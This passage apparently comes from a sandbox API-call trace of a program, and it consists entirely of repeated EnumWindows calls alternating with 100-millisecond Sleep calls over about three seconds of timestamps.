(lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.571] Sleep (dwMilliseconds=0x64) [0169.572] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.573] Sleep (dwMilliseconds=0x64) [0169.575] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.575] Sleep (dwMilliseconds=0x64) [0169.576] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.577] Sleep (dwMilliseconds=0x64) [0169.578] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.578] Sleep (dwMilliseconds=0x64) [0169.580] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.580] Sleep (dwMilliseconds=0x64) [0169.582] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.582] Sleep (dwMilliseconds=0x64) [0169.584] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.584] Sleep (dwMilliseconds=0x64) [0169.588] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.588] Sleep (dwMilliseconds=0x64) [0169.590] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.591] Sleep (dwMilliseconds=0x64) [0169.593] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.593] Sleep (dwMilliseconds=0x64) [0169.595] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.596] Sleep (dwMilliseconds=0x64) [0169.597] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.597] Sleep (dwMilliseconds=0x64) [0169.599] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.599] Sleep (dwMilliseconds=0x64) [0169.600] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.600] Sleep (dwMilliseconds=0x64) [0169.602] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.602] Sleep (dwMilliseconds=0x64) [0169.604] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.604] Sleep (dwMilliseconds=0x64) [0169.605] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.605] Sleep (dwMilliseconds=0x64) [0169.607] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.607] Sleep (dwMilliseconds=0x64) [0169.609] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.609] Sleep (dwMilliseconds=0x64) [0169.610] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.610] Sleep (dwMilliseconds=0x64) [0169.612] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.612] Sleep (dwMilliseconds=0x64) [0169.615] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.615] Sleep (dwMilliseconds=0x64) [0169.616] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.616] Sleep (dwMilliseconds=0x64) [0169.618] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.618] Sleep (dwMilliseconds=0x64) [0169.619] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.619] Sleep (dwMilliseconds=0x64) [0169.621] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.621] Sleep (dwMilliseconds=0x64) [0169.623] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.623] Sleep (dwMilliseconds=0x64) [0169.625] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.625] Sleep (dwMilliseconds=0x64) [0169.627] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.627] Sleep (dwMilliseconds=0x64) [0169.628] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.629] Sleep (dwMilliseconds=0x64) [0169.630] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.630] Sleep (dwMilliseconds=0x64) [0169.632] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.632] Sleep (dwMilliseconds=0x64) [0169.634] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.634] Sleep (dwMilliseconds=0x64) [0169.635] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.635] Sleep (dwMilliseconds=0x64) [0169.637] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.637] Sleep (dwMilliseconds=0x64) [0169.639] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.639] Sleep (dwMilliseconds=0x64) [0169.641] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.641] Sleep (dwMilliseconds=0x64) [0169.645] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.645] Sleep (dwMilliseconds=0x64) [0169.646] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.647] Sleep (dwMilliseconds=0x64) [0169.648] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.648] Sleep (dwMilliseconds=0x64) [0169.650] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.650] Sleep (dwMilliseconds=0x64) [0169.652] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.652] Sleep (dwMilliseconds=0x64) [0169.654] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.654] Sleep (dwMilliseconds=0x64) [0169.656] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.656] Sleep (dwMilliseconds=0x64) [0169.658] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.658] Sleep (dwMilliseconds=0x64) [0169.660] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.660] Sleep (dwMilliseconds=0x64) [0169.661] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.661] Sleep (dwMilliseconds=0x64) [0169.663] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.663] Sleep (dwMilliseconds=0x64) [0169.665] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.665] Sleep (dwMilliseconds=0x64) [0169.667] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.667] Sleep (dwMilliseconds=0x64) [0169.668] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.668] Sleep (dwMilliseconds=0x64) [0169.670] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.671] Sleep (dwMilliseconds=0x64) [0169.673] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.673] Sleep (dwMilliseconds=0x64) [0169.676] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.676] Sleep (dwMilliseconds=0x64) [0169.677] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.678] Sleep (dwMilliseconds=0x64) [0169.679] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.680] Sleep (dwMilliseconds=0x64) [0169.681] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.681] Sleep (dwMilliseconds=0x64) [0169.683] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.683] Sleep (dwMilliseconds=0x64) [0169.685] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.685] Sleep (dwMilliseconds=0x64) [0169.687] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.687] Sleep (dwMilliseconds=0x64) [0169.689] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.689] Sleep (dwMilliseconds=0x64) [0169.691] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.691] Sleep (dwMilliseconds=0x64) [0169.693] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.693] Sleep (dwMilliseconds=0x64) [0169.694] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.695] Sleep (dwMilliseconds=0x64) [0169.696] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.697] Sleep (dwMilliseconds=0x64) [0169.698] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.698] Sleep (dwMilliseconds=0x64) [0169.700] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.700] Sleep (dwMilliseconds=0x64) [0169.701] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.702] Sleep (dwMilliseconds=0x64) [0169.703] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.704] Sleep (dwMilliseconds=0x64) [0169.705] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.705] Sleep (dwMilliseconds=0x64) [0169.708] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.708] Sleep (dwMilliseconds=0x64) [0169.710] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.710] Sleep (dwMilliseconds=0x64) [0169.711] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.712] Sleep (dwMilliseconds=0x64) [0169.713] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.713] Sleep (dwMilliseconds=0x64) [0169.714] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.715] Sleep (dwMilliseconds=0x64) [0169.716] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.717] Sleep (dwMilliseconds=0x64) [0169.718] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.719] Sleep (dwMilliseconds=0x64) [0169.720] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.720] Sleep (dwMilliseconds=0x64) [0169.722] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.722] Sleep (dwMilliseconds=0x64) [0169.723] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.724] Sleep (dwMilliseconds=0x64) [0169.725] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.725] Sleep (dwMilliseconds=0x64) [0169.727] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.727] Sleep (dwMilliseconds=0x64) [0169.729] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.730] Sleep (dwMilliseconds=0x64) [0169.731] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.732] Sleep (dwMilliseconds=0x64) [0169.733] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.733] Sleep (dwMilliseconds=0x64) [0169.734] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.735] Sleep (dwMilliseconds=0x64) [0169.736] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.736] Sleep (dwMilliseconds=0x64) [0169.738] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.739] Sleep (dwMilliseconds=0x64) [0169.742] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.742] Sleep (dwMilliseconds=0x64) [0169.744] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.744] Sleep (dwMilliseconds=0x64) [0169.746] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.746] Sleep (dwMilliseconds=0x64) [0169.747] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.747] Sleep (dwMilliseconds=0x64) [0169.749] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.750] Sleep (dwMilliseconds=0x64) [0169.751] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.752] Sleep (dwMilliseconds=0x64) [0169.753] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.754] Sleep (dwMilliseconds=0x64) [0169.755] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.755] Sleep (dwMilliseconds=0x64) [0169.757] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.758] Sleep (dwMilliseconds=0x64) [0169.759] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.759] Sleep (dwMilliseconds=0x64) [0169.761] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.761] Sleep (dwMilliseconds=0x64) [0169.763] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.763] Sleep (dwMilliseconds=0x64) [0169.893] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.894] Sleep (dwMilliseconds=0x64) [0169.896] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.896] Sleep (dwMilliseconds=0x64) [0169.898] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.898] Sleep (dwMilliseconds=0x64) [0169.900] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.900] Sleep (dwMilliseconds=0x64) [0169.901] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.902] Sleep (dwMilliseconds=0x64) [0169.903] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.903] Sleep (dwMilliseconds=0x64) [0169.904] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.905] Sleep (dwMilliseconds=0x64) [0169.906] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.906] Sleep (dwMilliseconds=0x64) [0169.908] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.909] Sleep (dwMilliseconds=0x64) [0169.910] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.911] Sleep (dwMilliseconds=0x64) [0169.912] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.912] Sleep (dwMilliseconds=0x64) [0169.913] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.914] Sleep (dwMilliseconds=0x64) [0169.915] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.915] Sleep (dwMilliseconds=0x64) [0169.916] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.917] Sleep (dwMilliseconds=0x64) [0169.918] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.918] Sleep (dwMilliseconds=0x64) [0169.922] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0169.922] Sleep (dwMilliseconds=0x64) [0170.019] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.020] Sleep (dwMilliseconds=0x64) [0170.080] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.081] Sleep (dwMilliseconds=0x64) [0170.087] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.087] Sleep (dwMilliseconds=0x64) [0170.088] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.089] Sleep (dwMilliseconds=0x64) [0170.090] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.091] Sleep (dwMilliseconds=0x64) [0170.093] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.093] Sleep (dwMilliseconds=0x64) [0170.094] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.095] Sleep (dwMilliseconds=0x64) [0170.096] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.097] Sleep (dwMilliseconds=0x64) [0170.098] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.099] Sleep (dwMilliseconds=0x64) [0170.100] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.100] Sleep (dwMilliseconds=0x64) [0170.102] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.102] Sleep (dwMilliseconds=0x64) [0170.104] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.104] Sleep (dwMilliseconds=0x64) [0170.106] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.106] Sleep (dwMilliseconds=0x64) [0170.108] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.108] Sleep (dwMilliseconds=0x64) [0170.110] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.111] Sleep (dwMilliseconds=0x64) [0170.141] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.141] Sleep (dwMilliseconds=0x64) [0170.207] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.207] Sleep (dwMilliseconds=0x64) [0170.209] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.210] Sleep (dwMilliseconds=0x64) [0170.216] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.216] Sleep (dwMilliseconds=0x64) [0170.234] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.234] Sleep (dwMilliseconds=0x64) [0170.236] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.236] Sleep (dwMilliseconds=0x64) [0170.271] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.272] Sleep (dwMilliseconds=0x64) [0170.364] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.365] Sleep (dwMilliseconds=0x64) [0170.366] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.367] Sleep (dwMilliseconds=0x64) [0170.371] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.372] Sleep (dwMilliseconds=0x64) [0170.373] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.374] Sleep (dwMilliseconds=0x64) [0170.375] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.376] Sleep (dwMilliseconds=0x64) [0170.377] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.377] Sleep (dwMilliseconds=0x64) [0170.379] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.379] Sleep (dwMilliseconds=0x64) [0170.381] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.381] Sleep (dwMilliseconds=0x64) [0170.382] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.383] Sleep (dwMilliseconds=0x64) [0170.384] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.384] Sleep (dwMilliseconds=0x64) [0170.386] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.386] Sleep (dwMilliseconds=0x64) [0170.388] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.388] Sleep (dwMilliseconds=0x64) [0170.389] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.390] Sleep (dwMilliseconds=0x64) [0170.391] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.392] Sleep (dwMilliseconds=0x64) [0170.393] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.394] Sleep (dwMilliseconds=0x64) [0170.396] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.396] Sleep (dwMilliseconds=0x64) [0170.495] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.496] Sleep (dwMilliseconds=0x64) [0170.497] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.498] Sleep (dwMilliseconds=0x64) [0170.499] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.500] Sleep (dwMilliseconds=0x64) [0170.501] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.502] Sleep (dwMilliseconds=0x64) [0170.503] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.504] Sleep (dwMilliseconds=0x64) [0170.505] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.506] Sleep (dwMilliseconds=0x64) [0170.507] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.507] Sleep (dwMilliseconds=0x64) [0170.509] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.509] Sleep (dwMilliseconds=0x64) [0170.511] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.511] Sleep (dwMilliseconds=0x64) [0170.523] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.524] Sleep (dwMilliseconds=0x64) [0170.525] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.526] Sleep (dwMilliseconds=0x64) [0170.528] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.529] Sleep (dwMilliseconds=0x64) [0170.613] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.614] Sleep (dwMilliseconds=0x64) [0170.638] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.639] Sleep (dwMilliseconds=0x64) [0170.640] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.641] Sleep (dwMilliseconds=0x64) [0170.642] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.643] Sleep (dwMilliseconds=0x64) [0170.656] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.656] Sleep (dwMilliseconds=0x64) [0170.720] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.721] Sleep (dwMilliseconds=0x64) [0170.791] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.792] Sleep (dwMilliseconds=0x64) [0170.915] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.915] Sleep (dwMilliseconds=0x64) [0170.982] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0170.983] Sleep (dwMilliseconds=0x64) [0171.040] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0171.040] Sleep (dwMilliseconds=0x64) [0171.256] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0171.257] Sleep (dwMilliseconds=0x64) [0171.377] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0171.377] Sleep (dwMilliseconds=0x64) [0171.413] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0171.413] Sleep (dwMilliseconds=0x64) [0171.608] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0171.608] Sleep (dwMilliseconds=0x64) [0171.675] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0171.676] Sleep (dwMilliseconds=0x64) [0171.692] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0171.692] Sleep (dwMilliseconds=0x64) [0171.792] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0171.792] Sleep (dwMilliseconds=0x64) [0171.808] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0171.809] Sleep (dwMilliseconds=0x64) [0171.810] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0171.811] Sleep (dwMilliseconds=0x64) [0171.813] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0171.813] Sleep (dwMilliseconds=0x64) [0171.814] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0171.815] Sleep (dwMilliseconds=0x64) [0171.816] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0171.816] Sleep (dwMilliseconds=0x64) [0171.819] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0171.819] Sleep (dwMilliseconds=0x64) [0171.820] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0171.821] Sleep (dwMilliseconds=0x64) [0171.822] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0171.822] Sleep (dwMilliseconds=0x64) [0171.835] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0171.835] Sleep (dwMilliseconds=0x64) [0171.837] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0171.837] Sleep (dwMilliseconds=0x64) [0171.896] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0171.897] Sleep (dwMilliseconds=0x64) [0171.975] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0171.976] Sleep (dwMilliseconds=0x64) [0171.977] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0171.978] Sleep (dwMilliseconds=0x64) [0171.979] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0171.980] Sleep (dwMilliseconds=0x64) [0171.982] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0171.982] Sleep (dwMilliseconds=0x64) [0171.983] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0171.984] Sleep (dwMilliseconds=0x64) [0171.986] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0171.987] Sleep (dwMilliseconds=0x64) [0171.988] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0171.989] Sleep (dwMilliseconds=0x64) [0171.991] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0171.991] Sleep (dwMilliseconds=0x64) [0171.992] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0171.993] Sleep (dwMilliseconds=0x64) [0171.995] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0171.995] Sleep (dwMilliseconds=0x64) [0171.997] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0171.997] Sleep (dwMilliseconds=0x64) [0171.999] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0171.999] Sleep (dwMilliseconds=0x64) [0172.001] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.001] Sleep (dwMilliseconds=0x64) [0172.003] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.003] Sleep (dwMilliseconds=0x64) [0172.005] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.006] Sleep (dwMilliseconds=0x64) [0172.032] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.033] Sleep (dwMilliseconds=0x64) [0172.099] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.100] Sleep (dwMilliseconds=0x64) [0172.102] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.103] Sleep (dwMilliseconds=0x64) [0172.104] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.104] Sleep (dwMilliseconds=0x64) [0172.106] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.107] Sleep (dwMilliseconds=0x64) [0172.108] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.109] Sleep (dwMilliseconds=0x64) [0172.110] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.111] Sleep (dwMilliseconds=0x64) [0172.112] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.113] Sleep (dwMilliseconds=0x64) [0172.114] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.114] Sleep (dwMilliseconds=0x64) [0172.116] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.117] Sleep (dwMilliseconds=0x64) [0172.118] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.118] Sleep (dwMilliseconds=0x64) [0172.120] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.120] Sleep (dwMilliseconds=0x64) [0172.121] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.122] Sleep (dwMilliseconds=0x64) [0172.204] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.205] Sleep (dwMilliseconds=0x64) [0172.219] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.219] Sleep (dwMilliseconds=0x64) [0172.221] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.221] Sleep (dwMilliseconds=0x64) [0172.222] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.223] Sleep (dwMilliseconds=0x64) [0172.224] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.224] Sleep (dwMilliseconds=0x64) [0172.226] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.226] Sleep (dwMilliseconds=0x64) [0172.227] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.227] Sleep (dwMilliseconds=0x64) [0172.228] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.229] Sleep (dwMilliseconds=0x64) [0172.230] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.231] Sleep (dwMilliseconds=0x64) [0172.232] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.233] Sleep (dwMilliseconds=0x64) [0172.234] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.234] Sleep (dwMilliseconds=0x64) [0172.236] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.236] Sleep (dwMilliseconds=0x64) [0172.238] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.238] Sleep (dwMilliseconds=0x64) [0172.240] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.240] Sleep (dwMilliseconds=0x64) [0172.242] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.242] Sleep (dwMilliseconds=0x64) [0172.243] EnumWindows 